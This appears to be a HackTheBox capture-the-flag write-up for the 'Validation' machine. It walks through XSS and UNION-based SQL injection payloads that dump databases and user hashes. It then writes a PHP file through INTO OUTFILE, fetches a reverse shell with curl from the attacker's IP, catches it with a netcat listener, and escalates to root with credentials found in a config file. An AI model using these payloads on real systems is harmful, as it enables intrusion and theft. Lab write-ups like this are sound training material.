Skip to content

Latest commit

 

History

History
143 lines (72 loc) · 4.21 KB

Validation.md

File metadata and controls

143 lines (72 loc) · 4.21 KB

Validation HacktheBox

ENUMERATION

NMAP

image

Port 80

image

Port 4566

image

Port 8080

image

I enumerate Port 80:

image

First Attack Vectors

The index page of this web it's a form to qualify for something called September UHC, let's try to inject code SQL,XSS,HTML and more.

XSS

Payload: <script>alert("SS")</script>

image

It's Vulnerable to XSS and HTML Injection, but i can't do anything

SQLI

BurpSuite

Payload: ' order by 10000-- - == NO WORK

Payload: ' union select 1-- - == NO WORK

Country Field

Let's try to do this payloads with other field from request.

Payload: ' union select 1-- - == WORKS!!!!!

image

image

Let's go to enumerate Things.

Database

Payload: ' union select database()-- -

image

Version

Payload: ' union select @@version-- -

image

All DataBases

Payload: ' union select schema_name from information_schema.schemata

image

Tables Registration Database

Payload: ' union select table_name from information_schema.tables where table_schema="registration"-- -

image

Table name is the same than DataBase Name

Columns

Payload: ' union select column_name from information_schema.columns where table_schema="registration" and table_name="registration"-- -

image

Users and Passwords

Payload: ' union select group_concat(username,0x3a,userhash) from registration-- -

image

This users are my users...

RCE

Payload: ' union select "" into outfile "/var/www/html/rce.php"-- -

Works!!

image

Reverse Shell

I create in my Kali Machine a php script to gain reverse shell.

I open http server wirth python3: python3 -m http.server

In victim RCE: curl -o shell.php 10.10.14.33:8000/shell.php

Now i put rlwrap nc -lnvp 1212

I access to: http://10.10.11.116/shell.php

I HAVE SHELL!!

image

user.txt

image

Docker Container

image

Im in docker container but i found a credentials in /var/www/html/config.php

image

SSH DON'T WORK

image

su root its working

image

DONE :)

Thanks